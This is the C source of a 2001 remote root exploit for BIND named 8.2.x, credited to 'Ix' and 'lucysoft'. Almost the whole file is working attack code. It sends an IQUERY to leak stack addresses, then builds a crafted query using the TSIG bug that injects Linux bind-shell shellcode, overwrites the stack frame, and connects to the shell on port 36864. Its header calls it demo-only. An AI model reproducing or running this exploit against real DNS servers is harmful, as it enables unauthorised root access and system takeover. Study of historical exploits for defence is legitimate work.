/* * lame named 8.2.x remote exploit by * * Ix [adresadeforward@yahoo.com] (the master of jmpz), * lucysoft [lucysoft@hotmail.com] (the master of queries) * * this exploits the named INFOLEAK and TSIG bug (see http://www.isc.org/products/BIND/bind-security.html) * linux only shellcode * this is only for demo purposes, we are not responsable in any way for what you do with this code. * * flamez - canaris * greetz - blizzard, netman. * creditz - anathema for the original shellcode * - additional code ripped from statdx exploit by ron1n */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define max(a,b) ((a)>(b)?(a):(b)) #define BUFFSIZE 4096 int argevdisp1, argevdisp2; char shellcode[] = /* main: */ "\xeb\x7b" /* jmp callz */ // 2 - 2 /* start: */ "\x5e" /* popl %esi */ // 1 - 3 /* socket() */ "\x29\xc0" /* subl %eax, %eax */ // 2 - 5 "\x89\x46\x10" /* movl %eax, 0x10(%esi) */ // 3 - 8 "\x40" /* incl %eax */ // 1 - 9 "\x89\xc3" /* movl %eax, %ebx */ // 2 - 11 "\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */ // 3 - 14 "\x40" /* incl %eax */ // 1 - 15 "\x89\x46\x08" /* movl %eax, 0x08(%esi) */ // 3 - 18 "\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ // 3 - 21 "\xb0\x66" /* movb $0x66, %al */ // 2 - 23 "\xcd\x80" /* int $0x80 */ // 2 - 25 /* bind() */ "\x43" /* incl %ebx */ // 1 - 26 "\xc6\x46\x10\x10" /* movb $0x10, 0x10(%esi) */ // 4 - 30 "\x66\x89\x5e\x14" /* movw %bx, 0x14(%esi) */ // 4 - 34 "\x88\x46\x08" /* movb %al, 0x08(%esi) */ // 3 - 37 "\x29\xc0" /* subl %eax, %eax */ // 2 - 39 "\x89\xc2" /* movl %eax, %edx */ // 2 - 41 "\x89\x46\x18" /* movl %eax, 0x18(%esi) */ // 3 - 44 "\xb0\x90" /* movb $0x90, %al */ // 2 - 46 "\x66\x89\x46\x16" /* movw %ax, 0x16(%esi) */ // 4 - 50 "\x8d\x4e\x14" /* leal 0x14(%esi), %ecx */ // 3 - 53 "\x89\x4e\x0c" /* movl %ecx, 0x0c(%esi) */ // 3 - 56 "\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */ // 3 - 59 // 2 jump + 1 + 5 free + 1 "\xb0\x66" /* movb $0x66, %al */ // 2 - 61 "\xcd\x80" /* int $0x80 */ // 2 - 2 /* listen() */ "\x89\x5e\x0c" /* movl %ebx, 0x0c(%esi) */ "\x43" /* incl %ebx */ "\x43" /* incl %ebx */ "\xb0\x66" /* movb $0x66, %al */ "\xcd\x80" /* int $0x80 */ /* accept() */ "\x89\x56\x0c" /* movl %edx, 0x0c(%esi) */ // 3 - 5 "\x89\x56\x10" /* movl %edx, 0x10(%esi) */ // 3 - 8 "\xb0\x66" /* movb $0x66, %al */ // 2 - 10 "\x43" /* incl %ebx */ // 1 - 11 "\xcd\x80" /* int $0x80 */ // 1 - 12 /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */ "\x86\xc3" /* xchgb %al, %bl */ // 2 - 14 "\xb0\x3f" /* movb $0x3f, %al */ // 2 - 16 "\x29\xc9" /* subl %ecx, %ecx */ // 2 - 18 "\xcd\x80" /* int $0x80 */ // 2 - 20 "\xb0\x3f" /* movb $0x3f, %al */ // 2 - 22 "\x41" /* incl %ecx */ // 1 - 23 "\xcd\x80" /* int $0x80 */ // 2 - 25 "\xb0\x3f" /* movb $0x3f, %al */ // 2 - 27 "\x41" /* incl %ecx */ // 1 - 28 "\xcd\x80" /* int $0x80 */ // 2 - 30 /* execve() */ "\x88\x56\x07" /* movb %dl, 0x07(%esi) */ // 3 - 33 "\x89\x76\x0c" /* movl %esi, 0x0c(%esi) */ // 3 - 36 "\x87\xf3" /* xchgl %esi, %ebx */ // 2 - 38 "\x8d\x4b\x0c" /* leal 0x0c(%ebx), %ecx */ // 3 - 41 "\xb0\x0b" /* movb $0x0b, %al */ // 2 - 44 "\xcd\x80" /* int $0x80 */ // 2 = 46 "\x90\x90\x90\x90\x90\x90\x90" // 2 jump + 1 + 5 free + 1 /* callz: */ "\xe8\x70\xff\xff\xff" /* call start */ // 5 - 51 "/bin/sh\0"; // 8 - 59 // {0, "8.2.2-P5 - Redhat 6.2 (Zoot) boot", 0xbffffa88, 28, 0x080d7cd0, 0x40111704, 0x330, 6}, unsigned long resolve_host(char* host) { long res; struct hostent* he; if (0 > (res = inet_addr(host))) { if (!(he = gethostbyname(host))) return(0); res = *(unsigned long*)he->h_addr; } return(res); } void runshell(int sockd) { char buff[1024]; int fmax, ret; fd_set fds; fmax = max(fileno(stdin), sockd) + 1; send(sockd, "uname -a; id;\n", 15, 0); for(;;) { FD_ZERO(&fds); FD_SET(fileno(stdin), &fds); FD_SET(sockd, &fds); if(select(fmax, &fds, NULL, NULL, NULL) < 0) { exit(EXIT_FAILURE); } if(FD_ISSET(sockd, &fds)) { bzero(buff, sizeof buff); if((ret = recv(sockd, buff, sizeof buff, 0)) < 0) { exit(EXIT_FAILURE); } if(!ret) { fprintf(stderr, "Connection closed\n"); exit(EXIT_FAILURE); } write(fileno(stdout), buff, ret); } if(FD_ISSET(fileno(stdin), &fds)) { bzero(buff, sizeof buff); ret = read(fileno(stdin), buff, sizeof buff); if(send(sockd, buff, ret, 0) != ret) { fprintf(stderr, "Transmission loss\n"); exit(EXIT_FAILURE); } } } } connection(struct sockaddr_in host) { int sockd; host.sin_port = htons(36864); printf("connecting..\n"); usleep(2000); if((sockd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) { exit(EXIT_FAILURE); } if(connect(sockd, (struct sockaddr *) &host, sizeof host) != -1) { printf("wait for your shell..\n"); usleep(500); runshell(sockd); } else { printf("error: named not vulnerable or wrong offsets used\n"); } close(sockd); } int infoleak_qry(char* buff) { HEADER* hdr; int n, k; char* ptr; int qry_space = 12; int dummy_names = 7; int evil_size = htons(0xff); memset(buff, 0, BUFFSIZE); hdr = (HEADER*)buff; hdr->id = htons(0xbeef); hdr->opcode = IQUERY; hdr->rd = 1; hdr->ra = 1; hdr->qdcount = htons(0); hdr->nscount = htons(0); hdr->ancount = htons(1); hdr->arcount = htons(0); ptr = buff + sizeof(HEADER); n = 62; for (k = 0; k < dummy_names; k++) { *ptr++ = n; ptr += n; } ptr += INT16SZ; PUTSHORT(htons(1/*ns_t_a*/), ptr); /* type */ PUTSHORT(htons(T_A), ptr); /* class */ PUTLONG(htons(1), ptr); /* ttl */ PUTSHORT(evil_size, ptr); /* our *evil* size */ return(ptr - buff + qry_space); } int evil_query(char* buff, int offset) { int lameaddr, shelladdr, rroffsetidx, rrshellidx, deplshellcode, offset0; HEADER* hdr; char *ptr; int k, bufflen; u_int n, m; u_short s; int i; int shelloff, shellstarted; int towrite, ourpack; int n_dummy_rrs = 7; shelladdr = offset - 0x200; lameaddr = shelladdr + 0x330; ourpack = offset - 0x250 + 2; towrite = (offset & ~0xff) - ourpack - 6; printf("# %x newebp\n", offset & ~0xff); printf("# %x towrite\n", towrite); rroffsetidx = towrite / 70; offset0 = towrite - rroffsetidx * 70; printf("+ %x rr recidx\n", rroffsetidx); printf("+ %x offset\n", offset0); if ((offset0 > 53) || (rroffsetidx > 6)) { printf("could not write our data in buffer\n"); return(-1); } rrshellidx = 1; deplshellcode = 2; hdr = (HEADER*)buff; memset(buff, 0, BUFFSIZE); /* complete the header */ hdr->id = htons(0xdead); hdr->opcode = QUERY; hdr->rd = 1; hdr->ra = 1; hdr->qdcount = htons(n_dummy_rrs); hdr->ancount = htons(0); hdr->arcount = htons(1); ptr = buff + sizeof(HEADER); shellstarted = 0; shelloff = 0; n = 63; for (k = 0; k < n_dummy_rrs; k++) { // printf("* rr: %d\n", k); *ptr++ = (char)n; for(i = 0; i < n-2; i++) { if((k == rrshellidx) && (i == deplshellcode) && !shellstarted) { printf("* injecting shellcode\n", k); shellstarted = 1; } if ((k == rroffsetidx) && (i == offset0 + 0)) { printf("# %x stackfrm\n", lameaddr); //caller's frame *ptr++ = lameaddr & 0x000000ff; i++; *ptr++ = (lameaddr & 0x0000ff00) >> 8; i++; *ptr++ = (lameaddr & 0x00ff0000) >> 16; i++; *ptr++ = (lameaddr & 0xff000000) >> 24; } else if ((k == rroffsetidx) && (i == offset0 + 8)) { printf("# args %x, %x\n", argevdisp1, argevdisp2); //evDispatch args *ptr++ = argevdisp1 & 0x000000ff; i++; *ptr++ = (argevdisp1 & 0x0000ff00) >> 8; i++; *ptr++ = (argevdisp1 & 0x00ff0000) >> 16; i++; *ptr++ = (argevdisp1 & 0xff000000) >> 24; i++; *ptr++ = argevdisp2 & 0x000000ff; i++; *ptr++ = (argevdisp2 & 0x0000ff00) >> 8; i++; *ptr++ = (argevdisp2 & 0x00ff0000) >> 16; i++; *ptr++ = (argevdisp2 & 0xff000000) >> 24; } else if ((k == rroffsetidx) && (i == offset0 + 4)) { printf("# %x shellcode\n", shelladdr); //shellcode *ptr++ = shelladdr & 0x000000ff; i++; *ptr++ = (shelladdr & 0x0000ff00) >> 8; i++; *ptr++ = (shelladdr & 0x00ff0000) >> 16; i++; *ptr++ = (shelladdr & 0xff000000) >> 24; } else { if (shellstarted) { *ptr++ = shellcode[shelloff++]; } else { *ptr++ = i; } } } *ptr++ = 0xeb; if (k == 0) { *ptr++ = 0x09; //jmp 3 m = 2; *ptr++ = (char)m; for(i = 0; i < m; i++) { *ptr++ = i; } } else { *ptr++ = 0x07; //jmp 1 } *ptr++ = 0xc0; /*NS_CMPRSFLGS*/ ptr += 5; } s = htons(0xfa) /* ns_t_tsig */; PUTLONG(s, ptr); for (k = 0; k < 1; k++) { *ptr++ = 0x90; } bufflen = ptr - buff; return(bufflen); } long xtract_offset(char* buff) { long ret, idx, now; idx = 0x214; now = 0; ret = *((long*)&buff[idx]); if ((ret > 0xbfff0000) && (ret < 0xc0000000)) { now = 1; } while ((idx < 0x400) && (!now || !((ret > 0xbfff0000) && (ret < 0xc0000000)))) { idx += 4; ret = *((long*)&buff[idx]); if (ret == 1) { now = 1; } } argevdisp1 = 0x080d7cd0; argevdisp2 = *((long*)&buff[0x264]); return(ret); } int main(int argc, char* argv[]) { struct sockaddr_in sa; int sock; long address; char buff[BUFFSIZE]; int len, i; long offset; socklen_t reclen; printf("named 8.2.x (< 8.2.3-REL) remote root exploit by LucySoft, Ix\n\n"); address = 0; if (argc < 2) { printf("usage : %s host\n", argv[0]); return(-1); } if (!(address = resolve_host(argv[1]))) { printf("unable to resolve %s, try using an IP address\n", argv[1]); return(-1); } sa.sin_family = AF_INET; if (0 > (sock = socket(sa.sin_family, SOCK_DGRAM, 0))) { return(-1); } sa.sin_family = AF_INET; sa.sin_port = htons(53); sa.sin_addr.s_addr= address; len = infoleak_qry(buff); len = sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa)); if (len < 0) { printf("unable to send iquery\n"); return(-1); } reclen = sizeof(sa); len = recvfrom(sock, buff, BUFFSIZE, 0, (struct sockaddr *)&sa, &reclen); if (len < 0) { printf("unable to receive iquery answer\n"); return(-1); } printf("iquery resp len = %d\n", len); offset = xtract_offset(buff); printf("retrieved stack offset = %x\n", offset); len = evil_query(buff, offset); sendto(sock, buff, len, 0 , (struct sockaddr *)&sa, sizeof(sa)); if (0 > close(sock)) { return(-1); } connection(sa); return(0); } /* www.hack.co.za [11 march 2001]*/